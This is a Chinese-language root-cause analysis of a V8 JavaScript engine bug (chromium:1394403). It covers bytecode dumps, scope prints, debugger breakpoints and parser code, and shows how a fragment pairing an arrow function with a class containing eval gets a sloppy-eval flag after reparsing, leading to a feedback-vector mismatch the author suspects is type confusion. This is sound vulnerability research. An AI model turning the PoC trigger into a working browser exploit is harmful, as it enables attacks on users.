0x6e00025c46a @ 0 : 83 00 02 CreateFunctionContext [0], [2]
0x6e00025c46d @ 3 : 1a f9 PushContext r1
0x6e00025c46f @ 5 : 10 LdaTheHole
0x6e00025c470 @ 6 : 25 03 StaCurrentContextSlot [3]
0x6e00025c472 @ 8 : 0b 03 Ldar a0
0x6e00025c474 @ 10 : 9d 54 JumpIfNotUndefined [84] (0x6e00025c4c8 @ 94)
0x6e00025c476 @ 12 : 81 01 CreateBlockContext [1]
0x6e00025c478 @ 14 : 1a f8 PushContext r2
0x6e00025c47a @ 16 : 10 LdaTheHole
0x6e00025c47b @ 17 : 25 02 StaCurrentContextSlot [2]
0x6e00025c47d @ 19 : 10 LdaTheHole
0x6e00025c47e @ 20 : 25 03 StaCurrentContextSlot [3]
0x6e00025c480 @ 22 : 10 LdaTheHole
0x6e00025c481 @ 23 : be Star6
0x6e00025c482 @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x6e00025c486 @ 28 : c1 Star3
0x6e00025c487 @ 29 : 13 02 LdaConstant [2]
0x6e00025c489 @ 31 : c0 Star4
0x6e00025c48a @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x6e00025c48e @ 36 : bc Star8
0x6e00025c48f @ 37 : 28 05 01 02 LdaLookupGlobalSlot [5], [1], [2]
0x6e00025c493 @ 41 : bb Star9
0x6e00025c494 @ 42 : 61 f1 03 CallUndefinedReceiver0 r9, [3]
0x6e00025c497 @ 45 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]
0x6e00025c49b @ 49 : 19 f7 f5 Mov r3, r5
0x6e00025c49e @ 52 : 0b f2 Ldar r8
0x6e00025c4a0 @ 54 : 97 05 JumpIfToBooleanFalse [5] (0x6e00025c4a5 @ 59)
0x6e00025c4a2 @ 56 : 0c LdaZero
0x6e00025c4a3 @ 57 : 8a 07 Jump [7] (0x6e00025c4aa @ 64)
0x6e00025c4a5 @ 59 : 0d 01 LdaSmi [1]
0x6e00025c4a7 @ 61 : 2c 07 01 StaLookupSlot [7], #1
0x6e00025c4aa @ 64 : 73 f3 ToName r7
0x6e00025c4ac @ 66 : 0b f3 Ldar r7
0x6e00025c4ae @ 68 : 25 02 StaCurrentContextSlot [2]
0x6e00025c4b0 @ 70 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x6e00025c4b5 @ 75 : 0b f7 Ldar r3
0x6e00025c4b7 @ 77 : 25 03 StaCurrentContextSlot [3]
0x6e00025c4b9 @ 79 : 80 08 01 02 CreateClosure [8], [1], #2
0x6e00025c4bd @ 83 : c0 Star4
0x6e00025c4be @ 84 : 32 f7 09 07 SetNamedProperty r3, [9], [7]
0x6e00025c4c2 @ 88 : 1b f8 PopContext r2
0x6e00025c4c4 @ 90 : 0b f7 Ldar r3
0x6e00025c4c6 @ 92 : 8a 04 Jump [4] (0x6e00025c4ca @ 96)
0x6e00025c4c8 @ 94 : 0b 03 Ldar a0
0x6e00025c4ca @ 96 : 25 03 StaCurrentContextSlot [3]
0x6e00025c4cc @ 98 : 13 0a LdaConstant [10]
0x6e00025c4ce @ 100 : c4 Star0
0x6e00025c4cf @ 101 : 0e LdaUndefined
0x6e00025c4d0 @ 102 : a9 Return
Constant pool (size = 11)
0x6e00025c409: [FixedArray] in OldSpace
- map: 0x06e000002231 <Map(FIXED_ARRAY_TYPE)>
- length: 11
0: 0x06e00025c26d <ScopeInfo FUNCTION_SCOPE>
1: 0x06e00025c29d <ScopeInfo CLASS_SCOPE>
2: 0x06e00025c3e5 <FixedArray[7]>
3: 0x06e00025c2f1 <SharedFunctionInfo b3>
4: 0x06e00025c351 <ObjectBoilerplateDescription[3]>
5: 0x06e000006005 <String[4]: #eval>
6: 0x06e0000040a5 <String[1]: #c>
7: 0x06e00025c215 <String[2]: #aa>
8: 0x06e00025c329 <SharedFunctionInfo <instance_members_initializer>>
9: 0x06e0000071e5 <Symbol: (class_fields_symbol)>
10: 0x06e00025c43d <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
观察该字节码,发现其中共有3个SharedFunctionInfo出现,分别对应lambda表达式实例及其内部共3个闭包。在程序崩溃后,依次打印它们SharedFunctionInfo和当前Scope的调试信息:
- 0x06e00025c329: member initializer for class b3's new instance
0x6e00025c329: [SharedFunctionInfo] in OldSpace
- map: 0x06e000002625 <Map[40](SHARED_FUNCTION_INFO_TYPE)>
- name: 0x06e00025c241 <String[30]: #<instance_members_initializer>>
- inferred name: 0x06e000002529 <String[0]: #>
- kind: ClassMembersInitializerFunction
- syntax kind: AccessorOrMethod
- function_map_index: 205
- formal_parameter_count: 0
- expected_nof_properties: 2
- language_mode: strict
- data: 0x06e00025c4e9 <BytecodeArray[10]>
- code (from data): 0x06e00020b5b5 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
- source code: class b3 {
[({ c: eval() } ? 0 : (aa = 1))]
}
- script: 0x06e00025a2f5 <Script>
- function token position: 455
- start position: 455
- end position: 520
- no debug info
- scope info: 0x06e00025c2c9 <ScopeInfo FUNCTION_SCOPE>
- outer scope info: 0x06e00025c29d <ScopeInfo CLASS_SCOPE>
- length: 0
- feedback_metadata: 0x6e00025c525: [FeedbackMetadata] in OldSpace
- map: 0x06e0000029a9 <Map(FEEDBACK_METADATA_TYPE)>
- slot_count: 2
- create_closure_slot_count: 0
Slot #0 DefineKeyedOwn
0x6e00025c2c9: [ScopeInfo] in OldSpace
- map: 0x06e0000025fd <Map(SCOPE_INFO_TYPE)>
- parameters: 0
- context locals : 0
- inlined local names
- scope type: FUNCTION_SCOPE
- language mode: strict**
- declaration scope
- receiver: UNUSED
- function name(UNUSED): 0x06e00025c241 <String[30]: #<instance_members_initializer>>
- simple parameters
- function kind: ClassMembersInitializerFunction
- outer scope info: 0x06e00025c29d <ScopeInfo CLASS_SCOPE>
- function name: 0x06e00025c241 <String[30]: #<instance_members_initializer>>
- inferred function name: 0x06e0000023e1 <undefined>
- start position: 455
- end position: 520
- length: 9
- 0x06e00025c2f1: class b3
0x6e00025c2f1: [SharedFunctionInfo] in OldSpace
- map: 0x06e000002625 <Map[40](SHARED_FUNCTION_INFO_TYPE)>
- name: 0x06e00025c205 <String[2]: #b3>
- inferred name: 0x06e000004215 <String[1]: #z>
- kind: DefaultBaseConstructor
- syntax kind: AnonymousExpression
- function_map_index: 213
- formal_parameter_count: 0
- expected_nof_properties: 1
- language_mode: strict**
- data: 0x06e00025c319 <UncompiledDataWithoutPreparseData (455, 455)]>
- code (from data): 0x06e00020b7e5 <CodeDataContainer BUILTIN CompileLazy>
- source code:
- script: 0x06e00025a2f5 <Script>
- function token position: 455
- start position: 455
- end position: 455
- no debug info
- scope info: 0x06e000002765 <ScopeInfo>
- outer scope info: 0x06e00025c29d <ScopeInfo CLASS_SCOPE>
- length: 0
- feedback_metadata: <none>
0x6e000002765: [ScopeInfo] in ReadOnlySpace
- map: 0x06e0000025fd <Map(SCOPE_INFO_TYPE)>
- empty
- 0x06e00025a505: Lambda Expr
0x6e00025a505: [SharedFunctionInfo] in OldSpace
- map: 0x06e000002625 <Map[40](SHARED_FUNCTION_INFO_TYPE)>
- name: 0x06e000002529 <String[0]: #>
- inferred name: 0x06e000002529 <String[0]: #>
- kind: ArrowFunction
- syntax kind: AnonymousExpression
- function_map_index: 205
- formal_parameter_count: 1
- expected_nof_properties: 2
- language_mode: sloppy**
- data: 0x06e00025c449 <BytecodeArray[103]>
- code (from data): 0x06e00020b5b5 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
- source code: (a = class b3 {
[({ c: eval() } ? 0 : (aa = 1))]
}) => { let z = 0xdeadbeef; }
- script: 0x06e00025a2f5 <Script>
- function token position: 450
- start position: 450
- end position: 548
- no debug info
- scope info: 0x06e00025c26d <ScopeInfo FUNCTION_SCOPE>
- outer scope info: 0x06e00025a3fd <ScopeInfo BLOCK_SCOPE>
- length: 0
- feedback_metadata: 0x6e00025c4d5: [FeedbackMetadata] in OldSpace
- map: 0x06e0000029a9 <Map(FEEDBACK_METADATA_TYPE)>
- slot_count: 9
- create_closure_slot_count: 2
Slot #0 Literal
Slot #1 LoadGlobalNotInsideTypeof
Slot #3 Call
Slot #5 DefineNamedOwn
Slot #7 SetNamedStrict
0x6e00025c26d: [ScopeInfo] in OldSpace
- map: 0x06e0000025fd <Map(SCOPE_INFO_TYPE)>
- parameters: 1
- context locals : 1
- inlined local names
- scope type: FUNCTION_SCOPE
- sloppy eval ****[!!!!]****
- language mode: sloppy
- declaration scope
- function name(UNUSED): 0x06e000002529 <String[0]: #>
- function kind: ArrowFunction
- outer scope info: 0x06e00025a3fd <ScopeInfo BLOCK_SCOPE>
- function name: 0x06e000002529 <String[0]: #>
- inferred function name: 0x06e0000023e1 <undefined>
- has context extension slot
- start position: 450
- end position: 548
- length: 11
- context slots {
- 0: 0x06e000004085 <String[1]: #a>
}
Sloppy_eval
结合前面所述的背景知识与实际调试信息可以看到:class闭包和其实例成员初始化函数都处在严格模式下;lambda表达式实例处于松散模式下。 v8为实现“松散**模式下的 eval 为上层作用域 (surrounding scope,注:包围 eval 代码块的范围,v8称为outer scope) 引入新变量”这一特性,在src/ast/scopes.h
的class Scope
中引入了sloppy_eval_can_extend_vars_
内部变量指示当前作用域内部是否存在松散模式的eval能够更改当前作用域的变量环境(Variable Environment)。如果该变量为true,则某些优化必须被关闭以支持变量符号的动态查找。
观察上述PoC、字节码及Scope的打印信息,我们发现:eval明明存在于class内部的strict作用域中,不会为上层作用域引入任何变量。但lambda表达式实例的作用域调试信息中仍然被标记为sloppy eval,这就是Root Cause的最初步表现形式。
此时,我们再去看chromium的commit信息,就能够对上了????????:
[parser] Fix eval tracking
Due to mismatch in strictness we otherwise invalidly mark scopes as
calling **sloppy eval**.
Bug: chromium:1394403
Change-Id: Iece45df87f171616a2917c2aba5540636880a7c6
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4066044
Reviewed-by: Igor Sheludko <[email protected]>
Commit-Queue: Toon Verwaest <verwae[email protected]>
Cr-Commit-Position: refs/heads/main@{#84575}
PS:终于写到这了,这分析的太难了。
调试过程
运行选项及断点信息
使用修改后的PoC2进行调试。
运行选项:
./d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info PoC.js
断点信息:
Num Type Disp Enb Address What
2 breakpoint keep y 0x00007fa2d6eb6167 in v8::internal::MarkCompactCollector::ProcessOldCodeCandidates() at ../../src/heap/mark-compact.cc:3230
3 breakpoint keep y <MULTIPLE>
breakpoint already hit 1 time
3.1 y 0x00007fa2d76409fa in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:1997
3.2 y 0x00007fa2d767a876 in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:1997
4 breakpoint keep y <MULTIPLE>
4.1 y 0x00007fa2d7640b2c in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2007
4.2 y 0x00007fa2d767a9a2 in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2007
5 breakpoint keep y <MULTIPLE>
5.1 y 0x00007fa2d7640b7e in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2012
5.2 y 0x00007fa2d767a9fc in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2012
6 breakpoint keep y 0x00007fa2d6803605 in v8::internal::Scope::Snapshot::Reparent(v8::internal::DeclarationScope*) at ../../src/ast/scopes.cc:888
7 breakpoint keep y 0x00007fa2d6809eab in v8::internal::Scope::AllocateVariablesRecursively()::$_0::operator()(v8::internal::Scope*) const at ../../src/ast/scopes.cc:2580
8 breakpoint keep y 0x00007fa2d7642a44 in v8::internal::Scope::Snapshot::~Snapshot() at ../../src/ast/scopes.h:129
9 breakpoint keep y 0x00007fa2d68103b4 in v8::internal::DeclarationScope::RecordDeclarationScopeEvalCall() at ../../src/ast/scopes.h:908
10 breakpoint keep y 0x00007fa2d68104e0 in v8::internal::DeclarationScope::RecordDeclarationScopeEvalCall() at ../../src/ast/scopes.h:944
11 breakpoint keep y 0x00007fa2d6817124 in v8::internal::Scope::RecordEvalCall() at ../../src/ast/scopes.h:1369
12 breakpoint keep y 0x00007fa2d76426a8 in v8::internal::Scope::Snapshot::Snapshot(v8::internal::Scope*) at ../../src/ast/scopes.h:1383
作用域信息
第一次编译:
Inner function scope:
function a () { // (0x55b0a73971c0) (10, 402)
// NormalFunction
// 2 heap slots
catch { // (0x55b0a7385428) (371, 400)
// 2 heap slots
}
block { // (0x55b0a7385190) (23, 364)
// 2 heap slots
// local vars:
LET tt; // (0x55b0a73852f0) never assigned
}
}
Global scope:
global { // (0x55b0a7396fd0) (0, 598)
// inner scope calls 'eval'
// will be compiled
// NormalFunction
// 4 stack slots
// temporary vars:
TEMPORARY .for; // (0x55b0a7387148) local[0]
TEMPORARY .for; // (0x55b0a73871b8) local[1]
TEMPORARY .for; // (0x55b0a7387448) local[2]
TEMPORARY .result; // (0x55b0a73876e0) local[3]
// local vars:
VAR a; // (0x55b0a7397380)
// dynamic vars:
DYNAMIC_GLOBAL aa; // (0x55b0a7387920)
DYNAMIC_GLOBAL eval; // (0x55b0a7387950) never assigned
block { // (0x55b0a7397500) (408, 598)
// is hidden
// inner scope calls 'eval'
// 3 heap slots
// local vars:
LET j; // (0x55b0a7397678) context[2]
block { // (0x55b0a7397708) (418, 598)
// inner scope calls 'eval'
// 3 heap slots
// local vars:
LET j; // (0x55b0a7387328) context[2]
arrow (.0x55b0a7398a58) { // (0x55b0a7398830) (450, 548)
// inner scope calls 'eval'
// will be compiled
// ArrowFunction
// 1 stack slots
// 3 heap slots
// temporary vars:
TEMPORARY .0x55b0a7398a58; // (0x55b0a7398a58) parameter[0]
// local vars:
LET a; // (0x55b0a7398a08) context[2]
varblock { // (0x55b0a7398b50) (525, 548)
// NormalFunction
// local vars:
LET z; // (0x55b0a7398d40) local[0], never assigned, hole initialization elided
}
class b3 { // (0x55b0a7397bd8) (455, 520)
// strict mode scope
// inner scope calls 'eval'
// 4 heap slots
// local vars:
CONST b3; // (0x55b0a7398408) context[3]
CONST .class-field-1; // (0x55b0a73983d8) context[2], forced context allocation, never assigned
// class var, used, index not saved:
CONST b3; // (0x55b0a7398408) context[3]
function () { // (0x55b0a7398450) (455, 455)
// strict mode scope
// DefaultBaseConstructor
}
function <instance_members_initializer> () { // (0x55b0a7398118) (455, 520)
// strict mode scope
// will be compiled
// ClassMembersInitializerFunction
}
}
}
}
}
function a () { // (0x55b0a73971c0) (10, 402)
// lazily parsed
// NormalFunction
// 2 heap slots
}
}
第二次编译:
Global scope:
arrow (.0x55b0a736a238) { // (0x55b0a73693d0) (450, 548)
// scope calls sloppy 'eval'
// inner scope calls 'eval'
// will be compiled
// ArrowFunction
// 1 stack slots
// 4 heap slots
// temporary vars:
TEMPORARY .0x55b0a736a238; // (0x55b0a736a238) parameter[0]
// local vars:
LET a; // (0x55b0a73695c0) context[3]
// dynamic vars:
DYNAMIC_GLOBAL aa; // (0x55b0a736a6a0) lookup
DYNAMIC_GLOBAL eval; // (0x55b0a736a700) lookup, never assigned
varblock { // (0x55b0a736a330) (525, 548)
// NormalFunction
// local vars:
LET z; // (0x55b0a736a520) local[0], never assigned, hole initialization elided
}
class b3 { // (0x55b0a73695f0) (455, 520)
// strict mode scope
// inner scope calls 'eval'
// 4 heap slots
// local vars:
CONST b3; // (0x55b0a7369e20) context[3]
CONST .class-field-1; // (0x55b0a7369df0) context[2], forced context allocation, never assigned
// class var, used, index not saved:
CONST b3; // (0x55b0a7369e20) context[3]
function () { // (0x55b0a7369e68) (455, 455)
// strict mode scope
// DefaultBaseConstructor
}
function <instance_members_initializer> () { // (0x55b0a7369b30) (455, 520)
// strict mode scope
// will be compiled
// ClassMembersInitializerFunction
}
}
}
基于代码的Root Cause分析
用一句话概括问题的出现原因:由于Parser解析方式和GC垃圾回收的共同影响:使得第一次字节码编译时,Sloppy_Eval标记过程对最外层DeclarationScope(Script_Scope)未产生影响;第二次字节码编译时,Sloppy_Eval标记过程对最外层DeclarationScope(Arrow_Function_Scope)错误设置了Sloppy_Eval Flag。
代码分析
ArrowFunction的Parser逻辑
我们关注的最外层主要代码逻辑位于src/parsing/parser-base.h:1983~2018
。这部分代码负责'(' Expression ')'的语法解析:
对'(' Expression ')'的语法解析又分为两种情况:
- '(' Expression ')'后紧接=>,指示一个箭头函数
- 或者任何其他情况
本分析只与箭头函数相关,对于其他情况不再解释。代码的第1986~1996行负责无参箭头函数的解析,也与本分析无关,不在讲解范围。我们着重介绍第1997~2015行的代码。
经过对这段代码的分析,我认为V8的Parser采用的是一趟式分析(One-Pass)。即Parser尝试仅分析一趟Token流就建好JavaScript源码对应的抽象语法树和对应的作用域信息。
由于采用One-Pass Parse,在解析小括号内的表达式部分时,Parser还不能确定右小括号后接的是否为箭头,也就不能确定到底是否存在一个箭头函数。当小括号内的表达式解析完毕后,我们通过读入的Token判定箭头函数是否存在:
- 如果箭头函数不存在,那么小括号内的表达式应该位于当前作用域,表达式内部创建的变量也位于当前的作用域。
- 几乎不需要做任何操作(第2014行)。
- 如果箭头函数存在,那么小括号内的表达式是箭头函数的参数部分,它的作用域应该位于箭头函数的作用域内部,内部创建的变量也应该移入箭头函数内。因此在代码中,
- 首先需要创建箭头函数的作用域(第2011行)。
- 因为小括号内的表达式及其关联的作用域、相关变量在创建时,已经提前被作为当前作用域的下级,那么就要将小括号内的表达式对应的作用域的Outer Scope设为这个箭头函数对应的Scope,同时将变量全部移入箭头函数的Scope内。(第2012行的reparent操作)
但一个作用域中存储的信息不只包含小括号内新解析出的表达式对应的信息,也包括解析小括号前对应的信息。我们在将新表达式、新作用域和新变量移入箭头的作用域时,应该如何区分它们是原本就存在?还是因为解析小括号的内容所新增加的?
所以,此时引入了第1997行的snapshot数据结构,它在处理箭头函数前记录了Scope所有内部数据结构的最顶部指针。在解析小括号内的表达式时,为当前Scope增加任何数据都只会在Scope数据结构的最顶部增加。一旦确定箭头函数存在,第2012行的reparent操作就通过差分的比较当前Scope和snapshot的数据来确定应当移入箭头函数作用域的数据。
Sloppy_Eval Flag的设置逻辑
Sloppy_Eval Flag的设置逻辑位于src/ast/scopes.h
:
当Parser确定一个作用域中存在对eval的调用时,就会调用Scope::RecordEvalCall
通知当前Scope的最近父DeclarationScope(相当于Variable Environment)设置其sloppy_eval flag为true,以使得eval内的代码能在对应DeclarationScope内对var变量进行增删改操作。
模拟执行
第一次Parse
第一次解析时,Ignition对全程序进行字节码编译。发生Scope::RecordEvalCall
通知时,eval对应的作用域还未移入箭头函数对应的作用域。因此,虽然箭头函数作用域是一个DeclarationScope,但对当前Scope的最近父DeclarationScope也不会定位到Arrow_Function_Scope,而是定位到了Script_Scope,也即全局作用域。根据RecordDeclarationScopeEvalCall
函数的代码逻辑,不会对Script_Scope进行Sloppy_Eval flag的标记。
第二次Parse
第二次Parse是因为GC的发生,lambda表达式实例被重新字节码编译。发生Scope::RecordEvalCall
通知时,当前Scope的Outer Scope直接指向Arrow_Function_Scope,它是一个DeclarationScope。对当前Scope的最近父DeclarationScope直接定位到了Arrow_Function_Scope,此时根据RecordDeclarationScopeEvalCall
的代码逻辑,会将Lambda表达式实例直接标记为sloppy_eval。
反思总结
分析到这里,Root Cause应该是比较清晰了。我现在怀疑是两次Parse之间sloppy_eval flag的有无,对数据结构的操纵产生了不一致性,而且这种不一致性没有被gc所消除,进而导致的Type Confusion。
预备知识3
V8基础知识
V8的字节码指令系统设计
V8的字节码采用累加器-寄存器型指令系统,字节码的绝大部分操作数为寄存器和累加器,其他的操作数在指令规范中进行特殊规定。
V8的解释器 Ignition 可使用无穷多个寄存器 r0,r1,r2,... 和累加器寄存器(accumulator register)。几乎所有的字节码都使用累加器寄存器。它像一个常规寄存器,除了字节码没有指定。 例如,Add r1 将寄存器 r1 中的值和累加器中的值进行加法运算。这使得字节码更短,节省内存。
许多字节码以 Lda 或 Sta 开头。Lda 和 Sta 中的 a 为累加器(accumulator)。例如,
- LdaSmi [42] 将小整数(Smi)42 加载到累加器寄存器中。
- Star r0 将当前在累加器中的值存储在寄存器 r0 中。
V8字节码实例
JavaScript代码:
function incrementX(obj) {
return 1 + obj.x;
}
incrementX({x: 42}); // V8 的编译器是惰性的,如果一个函数没有运行,V8 将不会解释它
ByteCode:
[generated bytecode for function: incrementX (0x2ceb0025b2e9 <SharedFunctionInfo incrementX>)]
Bytecode length: 11
Parameter count 2
Register count 1
Frame size 8
Bytecode age: 0
0x2ceb0025b5ae @ 0 : 0d 01 LdaSmi [1]
0x2ceb0025b5b0 @ 2 : c4 Star0
0x2ceb0025b5b1 @ 3 : 2d 03 00 01 GetNamedProperty a0, [0], [1]
0x2ceb0025b5b5 @ 7 : 38 fa 00 Add r0, [0]
0x2ceb0025b5b8 @ 10 : a9 Return
Constant pool (size = 1)
0x2ceb0025b581: [FixedArray] in OldSpace
- map: 0x2ceb00002231 <Map(FIXED_ARRAY_TYPE)>
- length: 1
0: 0x2ceb000041f5 <String[1]: #x>
以下是对每一行字节码的解释:
LdaSmi [1]
LdaSmi <imm>
Load an integer literal into the accumulator as a Smi.
LdaSmi [1] 将常量 1 加载到累加器中。
Star0 = Star r0
Star <dst>
Store accumulator to register <dst>.
接下来,Star r0 将当前在累加器中的值 1 存储在寄存器 r0 中。
GetNamedProperty a0, [0], [1]
GetNamedProperty <object> <name_index> <slot>
Calls the LoadIC at FeedBackVector slot <slot> for <object> and the name at constant pool entry <name_index>.
GetNamedProperty 将 a0 的命名属性加载到累加器中。ai 指向 incrementX() 的第 i 个参数。在这个例子中,我们在 a0 上查找一个命名属性,这是 incrementX() 的第一个参数。该属性名由常量 0 确定。GetNamedProperty 使用 0 在常量池中查找名称:
Constant pool (size = 1)
0x2ceb0025b581: [FixedArray] in OldSpace
- map: 0x2ceb00002231 <Map(FIXED_ARRAY_TYPE)>
- length: 1
0: 0x2ceb000041f5 <String[1]: #x>
可以看到,0 映射到了 x。因此这行字节码的意思是加载 obj.x。
那么值为 1 的操作数是干什么的呢? 它是函数 incrementX() 的反馈向量(Feedback Vector)的索引。反馈向量包含用于性能优化的 runtime 信息。
现在寄存器看起来是这样的:
Add r0, [0]
// Add <src> <slot>
//
// Add register <src> to accumulator using Feedback slot <slot>.
最后一条指令将 r0 加到累加器,结果是 43。 0 是反馈向量的另一个索引。
Return
Return
Return the value in the accumulator.
Return 返回累加器中的值。返回语句是函数 incrementX() 的结束。此时 incrementX() 的调用者可以在累加器中获得值 43,并可以进一步处理此值。
V8字节码列表及部分字节码的定义解释
字节码列表
部分字节码定义解释
- Star <dst>
Store accumulator to register <dst>.
- Ldar <src>
Load accumulator with value from register <src>.
- StaGlobal <name_index> <slot>
Store the value in the accumulator into the global with name in constant pool entry <name_index> using FeedBackVector slot <slot>.
- LdaGlobal <name_index> <slot>
Load the global with name in constant pool entry <name_index> into the accumulator using FeedBackVector slot <slot> outside of a typeof.
- StaLookupSlot <name_index> <flags>
Store the object in accumulator to the object with the name in constant pool entry |name_index|.
- LdaLookupContextSlot <name_index> <slot_index> <depth>
Lookup the object with the name in constant pool entry |name_index| dynamically.
- LdaLookupGlobalSlot <name_index> <feedback_slot> <depth>
Lookup the object with the name in constant pool entry |name_index| dynamically.
- LdaContextSlot <context> <slot_index> <depth>
Load the object in |slot_index| of the context at |depth| in the context chain starting at |context| into the accumulator.
- Call <callable> <receiver> <arg_count> <feedback_slot_id>
Call a JSfunction or Callable in |callable| with the |receiver| and |arg_count| arguments in subsequent registers. Collect type feedback into |feedback_slot_id|.
- DefineNamedOwnProperty <object> <name_index> <slot>
Calls the DefineNamedOwnIC at FeedBackVector slot <slot> for <object> and the name in constant pool entry <name_index> with the value in the accumulator.
- SetNamedProperty <object> <name_index> <slot>
Calls the StoreIC at FeedBackVector slot <slot> for <object> and the name in constant pool entry <name_index> with the value in the accumulator.
V8 Ignition的语法分析后变量绑定
src/ast/scopes.h:77
:
Each reference (i.e. identifier) to a JavaScript variable (including global properties) is represented by a VariableProxy node. Immediately after AST construction and before variable allocation, most VariableProxy nodes are "unresolved", i.e. not bound to a corresponding variable (though some are bound during parse time). Variable allocation binds each unresolved VariableProxy to one Variable and assigns a location. Note that many VariableProxy nodes may refer to the same JavaScript variable.
Ignition在构造抽象语法树AST时,JavaScript变量(包括全局属性)的每个引用(即标识符)都由VariableProxy节点表示。
- 在AST构造之后和变量分配之前,大多数VariableProxy节点都是“未解析的”,即未绑定到相应的变量(尽管有些节点可以在语法分析期间绑定)。
- 变量分配将每个未解析的VariableProxy绑定到一个变量并分配一个存储位置。请注意,多个VariableProxy节点可能指向相同的JavaScript变量。
第三次分析:PoC3从Root Cause sloppy_eval到字节码不一致的分析
运行选项
使用修改后的PoC3进行调试:
./d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info PoC.js
两次编译中字节码的不一致
我们想通过比较垃圾回收前后对于同一个函数字节码编译结果的差异,找到受sloppy eval影响产生的字节码。
通过比较,我们发现:两次编译中,为JavaScript语句aa=0xff
产生的字节码存在差异。第一次采用StaGlobal
字节码对aa变量进行存储,Feedback信息记录到Slot 7中;第二次采用StaLookupSlot
字节码对aa变量进行存储,不包含Feedback信息的记录。因为这条字节码的生成不一致,第一次编译相比第二次编译Feedback Vector长度多2,从而导致了PoC3的运行时检查崩溃。
接下来,我们尝试进入V8解释器Ignition的语义分析和字节码生成器部分进行调试,探索sloppy_eval是如何影响字节码生成的。
调试过程
BytecodeGenerator
为了跟踪aa=0xff
的字节码生成过程,我们首先在函数BytecodeGenerator::BuildAssignment
处下断,位于src/interpreter/bytecode-generator.cc:4485
,条件lhs_data.expr_.position_==501
。
第一次字节码生成
进入BytecodeGenerator::BuildVariableAssignment
函数后,发现variable->mode()
的结果是v8::internal::VariableMode::kDynamicGlobal
,variable->location()
的结果是v8::internal::UNALLOCATED
。选择发射StaGlobal
字节码。
调用栈:
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildVariableAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Variable * variable, v8::internal::Token::Value op, v8::internal::HoleCheckMode hole_check_mode, v8::internal::LookupHoistingMode lookup_hoisting_mode) (src/interpreter/bytecode-generator.cc:3773)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildAssignment(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::interpreter::BytecodeGenerator::AssignmentLhsData & lhs_data, v8::internal::Token::Value op, v8::internal::LookupHoistingMode lookup_hoisting_mode) (src/interpreter/bytecode-generator.cc:4500)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Assignment * expr) (src/interpreter/bytecode-generator.cc:4572)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitConditional(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Conditional * expr) (src/interpreter/bytecode-generator.cc:2989)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildLoadPropertyKey(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::LiteralProperty * property, v8::internal::interpreter::Register out_reg) (src/interpreter/bytecode-generator.cc:7099)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr, v8::internal::interpreter::Register name) (src/interpreter/bytecode-generator.cc:2662)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr, v8::internal::interpreter::Register name) (src/interpreter/bytecode-generator.cc:2817)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr) (src/interpreter/bytecode-generator.cc:2794)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
